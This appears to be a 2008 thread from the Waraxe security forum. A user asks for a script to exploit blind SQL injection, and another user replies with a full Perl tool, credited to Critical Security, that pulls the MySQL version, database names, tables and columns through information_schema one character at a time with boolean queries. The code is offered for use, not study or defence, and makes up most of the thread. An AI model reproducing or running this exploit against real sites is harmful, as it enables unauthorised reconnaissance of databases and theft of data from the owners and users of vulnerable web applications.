Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 30, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 523
Members: 0
Total: 523
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> ( Script ) SQL injection Blind ?
Post new topic  Reply to topic View previous topic :: View next topic 
( Script ) SQL injection Blind ?
PostPosted: Tue Apr 08, 2008 11:59 am Reply with quote
w0rm
Active user
Active user
 
Joined: Feb 22, 2008
Posts: 49




Hi Cool some one can help me , i need a script perl or php to exploite a Vulnerbility SQL injection Blind , and Show all Tables Name and Columns Name ?? , thanks for any help ...
View user's profile Send private message
PostPosted: Wed Apr 09, 2008 12:52 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Maybe this tool:

http://sqlmap.sourceforge.net/

It needs python though ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Jul 15, 2008 7:42 pm Reply with quote
faka
Regular user
Regular user
 
Joined: Nov 20, 2007
Posts: 7




Quote:
#!/usr/bin/perl

# Critical Security, 2006 (http://www.critical.lt)

$|=1;

use LWP::UserAgent;
use Getopt::Std;
use Switch;
print "\n+----------------------------------------------+\n";
print "| Critical Security mysql5 db enumeration tool |\n";
print "+----------------------------------------------+\n\n";
getopts('u:vr:ed:t:', \%opts);

$url=$opts{u};
$version=$opts{v}||0;
$regexp=$opts{r};
$enum=$opts{e}||0;
$db=$opts{d};
$tb=$opts{t};
$min=33;
$max=126;
$num=1;
$limit=0;

if($url&&$regexp&&$version) {checkversion();}
elsif($url&&$regexp&&$enum) {enumdb();}
elsif($url&&$regexp&&$db&&$tb) {enumcolumns();}
elsif($url&&$regexp&&$db) {enumtables();}
else {
print "Usage: $0 -u url -r regexp [-v] [-e] -d [dbname] -t [table]\n\n";
print "-u url -blind sql injection url\n";
print "-r regexp -perl regular expression\n";
print "-v -get mysql version\n";
print "-e -get dbs list\n";
print "-d db name -get tables list\n";
print "-t table name -get columns list\n\n";
exit();}

sub checkversion()
{
$func="version";
while(1){
found($min,$max);
if ($char=="0") {print "Mysql version:\n\n$ver\n\n[DONE]\n";exit();}
else {
$ver.=chr($char);
}
$num++;
}
}

sub enumdb()
{
$func="database";
print "Databases:\n\n";
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub enumtables()
{
$func="table";
print "$db tables:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub enumcolumns()
{
$func="column";
print "$db.$tb columns:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
$tb =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($tb);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub found()
{
($fmin,$fmax)=@_;

if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax);return $char;}
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";

if ( &check($check) ) {&found($r,$fmax);} else {&found($fmin,$r+1);}
}

sub crack()
{
($cmin,$cmax)=@_;
$i = $cmin;

while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) {return $i;}
$i++;
}
return;
}

sub check()
{
($exp)=@_;

if($func eq "version"){$query = $url." and ascii(substring(version(),".$num.",1))".$exp;}
elsif($func eq "database"){$query = $url." and ascii(substring((select schema_name from information_schema.schemata limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "table"){$query = $url." and ascii(substring((select table_name from information_schema.tables where table_schema=char($db) limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "column"){$query = $url." and ascii(substring((select column_name from information_schema.columns where table_schema=char($db) and table_name=char($tb) limit ".$limit.",1),".$num.",1))".$exp;}
else {exit();}

$conn = LWP::UserAgent->new() or die;
$res = $conn->get($query);
@data = $res->content;
foreach $result(@data)
{
if ($result =~ /$regexp/) { return 1; }
}
return 0;
}



I did not test it and dont know or working!
View user's profile Send private message
( Script ) SQL injection Blind ?
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.149 Seconds